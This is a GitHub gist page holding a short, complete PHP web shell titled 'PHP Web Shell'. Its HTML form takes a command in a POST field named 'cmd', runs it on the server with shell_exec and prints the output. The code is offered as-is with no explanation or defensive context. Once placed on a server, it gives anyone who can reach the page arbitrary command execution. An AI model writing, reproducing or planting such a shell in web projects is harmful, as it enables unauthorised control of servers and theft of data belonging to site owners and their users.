Skip to content

Instantly share code, notes, and snippets.

@adeshkolte
Created January 1, 2024 12:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save adeshkolte/32bd9680b6c15596946c320668cee81c to your computer and use it in GitHub Desktop.
Save adeshkolte/32bd9680b6c15596946c320668cee81c to your computer and use it in GitHub Desktop.
ss
<!DOCTYPE html>
<html>
<head>
<title>PHP Web Shell</title>
</head>
<body>
<h1>PHP Web Shell</h1>
<form method="POST">
<label>Enter a command:</label><br>
<input type="text" name="cmd"><br>
<input type="submit" value="Execute">
</form>
<?php
if (isset($_POST["cmd"])) {
$cmd = $_POST["cmd"];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
}
?>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment